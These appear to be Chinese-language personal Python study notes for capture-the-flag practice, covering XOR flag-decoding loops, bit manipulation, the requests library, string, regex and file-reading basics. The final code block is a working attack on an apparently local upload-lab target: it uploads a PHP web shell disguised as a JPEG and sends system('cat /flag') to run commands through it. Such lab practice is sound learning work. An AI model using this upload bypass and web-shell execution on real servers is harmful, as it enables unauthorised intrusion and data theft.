代办
https://blog.csdn.net/Chihwei_Hsu/article/details/81943008 ------WebKitFormBoundaryNTmRU9lQHyTVAE9w http://zihaolucky.github.io/using-python-to-build-zhihu-cralwer/
例子
循环和位操作
两种对字符串的循环操作 第一是转为链表操作
a=[13,19,23,17,2,1,32,29,12,2,25,47,23,43,36,31,30,22,9,15,21,39,19,38]
n1=n2=list("GONDPHyGjPEKruv{{pj]X@rF")
for index,n in enumerate(n1):
# 此处的index是链表的元素序号,简单链表循环 for n in n1:
n=((ord(n)^a[index])-72)^0x55
#ord()chr() ascii表转换
#a=b^c相当于b=a^c
if(n>=97 and n<=122):
#函数尾部for、if、while都要加冒号: if中的及和或分为为and和or
n-=32
elif(n>=65 and n<=90):
#else if 是elif
n+=32
n2[index]=chr(n)
print("".join(n2))
第二种直接操作
val1 = [0x0D,0x13,0x17,0x11,0x02,0x01,0x20,0x1D,0x0C,0x02,0x19,0x2F,0x17,0x2B,
0x24,0x1F,0x1E,0x16,0x09,0x0F,0x15,0x27,0x13,0x26,0x0A,0x2F,0x1E,0x1A,
0x2D,0x0C,0x22,0x04]
#hex()int()十六进制和十进制互转
v4 = "GONDPHyGjPEKruv{{pj]X@rF"
v8 = ""
flag = ""
for i in range(len(v4)):
# range(start, stop[, step])(起始(默认0)、终止(不包含)、步长)
v8 += chr(((ord(v4[i]) ^ val1[i]) - 72) ^ 0x55)
print(v8)
for i in range(len(v8)):
if ord(v8[i]) >= 97 and ord(v8[i]) <= 122:
flag += chr(ord(v8[i]) - 32)
elif ord(v8[i]) >= 65 and ord(v8[i]) <= 90:
flag += chr(ord(v8[i]) + 32)
else:
flag += v8[i]
print('EIS{'+flag+'}')
位操作
<<
左移
&
按位与|
按位或
def zymBin(target,maxlen=0,beginRight=0):
# target:目标变量
# maxlen:要倒序的总长度
# beginRight:从右起始的位数
if maxlen==0:
maxlen=len(bin(target))-2
#bin()转为0bXXXX的形式,len()计算长度,由于有"0b"所以位数减2
temout1=0
temout2=0
temout1=target&(pow(2,beginRight)-1)
#pow()次方,2的beginRight次方,这一步是为了全部取1,然后使target目标长度均为1
target>>=beginRight
#所有数右移beginRight位
maxtem=maxlen
while maxlen:
maxlen-=1
temout2|=target&1
#a|=b相当于a=a|b
target>>=1
temout2<<=1
if maxlen==0:
break
target<<=(maxtem+beginRight)
temout2<<=maxtem
print(bin(target),bin(temout2),bin(temout1))
return target|temout1|temout2
从右开始指定位数二进制顺序倒置
获取本地变量
v2 = 102;
v3 = 109;
v4 = 99;
v5 = 100;
v6 = 127;
data=[]
print(locals()["v5"]) #输出本地v5变量
for i in range(2,7):
data.append(locals()['v'+str(i)]) #数组增加本地变量
flag=''
for i in range(5):
flag+=chr(data[i]^i)
print(flag)
requests
- 提交python字典格式的数据
>>> payload = {'key1': 'value1', 'key2': 'value2'}
>>> r = requests.post("http://httpbin.org/post", data=payload)
- 提交Json格式数据
>>> import json
>>> url = 'https://api.github.com/some/endpoint'
>>> payload = {'some': 'data'}
>>> r = requests.post(url, data=json.dumps(payload))
>>> url = 'https://api.github.com/some/endpoint'
>>> payload = {'some': 'data'}
>>> r = requests.post(url, json=payload)
- 提交文件
>>> url = 'http://httpbin.org/post'
>>> files = {'file': open('report.xls', 'rb')}
>>> r = requests.post(url, files=files)
字符串操作
列表转为字符串
''.join(list)
list = [1, 2, 3, 4, 5]
''.join(list)
结果即为:12345
','.join(list)
结果即为:1,2,3,4,5
实例:
str=[] #有的题目要输出字符串,但是有时候list更好操作,于是可以最后list转string提交
for i in range(0,a):
str.append('M')
str1=''.join(str)
字符串长度
text='python' len(text)=6
截取
str[beginIndex:endPosition]
a = "Hello"
print "a[1:4] 输出结果:", a[1:4] #结果 ell
print "a[:4] 输出结果:", a[:4] #结果 Hell
print "a[1:] 输出结果:", a[1:] #结果 ello
字符串前缀
- 字符串前加 u
例:
u"我是含有中文字符组成的字符串。"
作用: 后面字符串以 Unicode 格式进行编码,一般用在中文字符串前面,防止因为源码储存格式问题,导致再次使用时出现乱码。 - 字符串前加 r
例:
r"\n\n\n\n" # 表示一个普通生字符串 \n\n\n\n,而不表示换行了。
作用:去掉反斜杠的转义机制。 \n 换行 \t tab - 字符串前加 b
例:
response = b'<h1>Hello World!</h1>' # b' ' 表示这是一个 bytes 对象
作用:b" "前缀表示:后面字符串是bytes 类型。 send 函数的参数和 recv 函数的返回值都是 bytes 类型 在 Python3 中,bytes 和 str 的互相转换方式是str.encode('utf-8')
bytes.decode('utf-8')
变量去转义
r''+变量
test='1234a567b'
condtion='a(.+?)b'
result=re.findall(r''+condtion,test)
print(result)
输出['567']
字符串和数字拼接
print(i+'asd') #报错
print(str(i)+'asd')
内置库re
元字符和其含义
. 匹配除换行符以外的任意字符
\ 转义字符,使后一个字符改变原来的意思
\w 匹配字母、数字、下划线:[A-Za-z0-9_]
\W 匹配特殊字符:[^A-Za-z0-9_]
\s 匹配任意的空白符:[<空格>\t\r\n\f\v]
\S 匹配非空白符
\d 匹配数字
\D 匹配非数字
\n 匹配一个换行符
\t 匹配一个制表符
\b 匹配一个单词的结尾
# 几个常用的非贪婪匹配Pattern
*? 重复任意次,但尽可能少重复
+? 重复1次或更多次,但尽可能少重复
?? 重复0次或1次,但尽可能少重复
{n,m}? 重复n到m次,但尽可能少重复
{n,}? 重复n次以上,但尽可能少重复
.*?x 就是取前面任意长度的字符,直到一个x出现
a=re.search(r''+str1, ss)
#匹配整个字符串,只到找到第一个匹配然后返回,如果字符串没有匹配,则返回None。
re.findall(pattern, string, flags=0)
#匹配字符串所有的内容,把匹配到的字符串以列表的形式返回
re.sub(pattern, repl, string, count=0, flags=0)
# 用于替换字符串中的匹配项。 第四个参数指替换个数。默认为0,表示每个匹配项都替换。
re.match等返回的对象
使用了re.match()后返回的是一个<_sre.SRE_Match object; span=(0, 5), match=‘jilao’>的对象 | 方法名称 | 作用 | 说明 | | :-: | :-: | :-: | | group | 以str形式返回对象中match的元素 |即返回要查找的字符串| | start | 返回开始位置 | | | end | 返回结束位置 | | | span | 以tuple形式返回范围 | 返回(start,end) | 请注意!这些方法并不适用于findall,因为findall返回的是一个list
for a in re.finditer('1', '123123123'):
print(a.span())
(0, 1)
(3, 4)
(6, 7)
进制转换
- 二进制 0b1111 十转2进制
bin()
- 八进制 018888 十转8进制
oct()
- 十六进制 0x1EEE 十转16进制
hex()
通用转换
int("1100100",2)
int("0b1101", 0)
eval('0b1100100')
int('144', 8)
int('0144', 0)
eval('01100100')
读取文件字符串
f1 = open('tinyfilemanager.php','r', encoding='UTF-8')
f.readlines()
和f.read().splitlines()
都是返回一个list,f.readlines()
后面有加\n
,f.read().splitlines()
没有\n
读取文件
read([size])
read([size])方法从文件当前位置起读取size个字节,若无参数size,则表示读取至文件结束为止,它范围为字符串对象
f = open("a.txt")
lines = f.read()
print lines
print(type(lines))
f.close()
Welcome
readline()
该方法每次读出一行内容,所以,读取时占用内存小,比较适合大文件,该方法返回一个字符串对象
f = open("a.txt")
line = f.readline()
print(type(line))
while line:
print line,
line = f.readline()
f.close()
readlines()
f = open("a.txt")
lines = f.readlines()
print(type(lines))
for line in lines:
print line,
f.close()
输出对象为list
linecache
还可以用linecache模块,比如你要输出某个文件的第n行:
# 输出第2行
text = linecache.getline(‘a.txt',2)
print(text)
代码
import requests
import re
url = "http://192.168.43.83/upload0/Pass-01/index.php"
data = {'submit':'1'}
files = {'upload_file':("xiaoma1.php",open('xiaoma1.jpg','rb'),'image/jpeg')}
response = requests.post(url,data=data,files=files)
a=response.text
for ss in re.finditer(r"<img src=", a):
c=ss.start()
print(a[c:c+50])
#c=a.rfind(r"<img src=")
#print(response.text[c:c+100])
url1= "http://192.168.43.83/upload0/upload/xiaoma1.php"
#payload={ "a": "system( \'cat ../../../../../flag');"}
payload={ "a": "system( \'cat /flag');"}
response1=requests.post(url1,payload,timeout=1)
print(response1.text)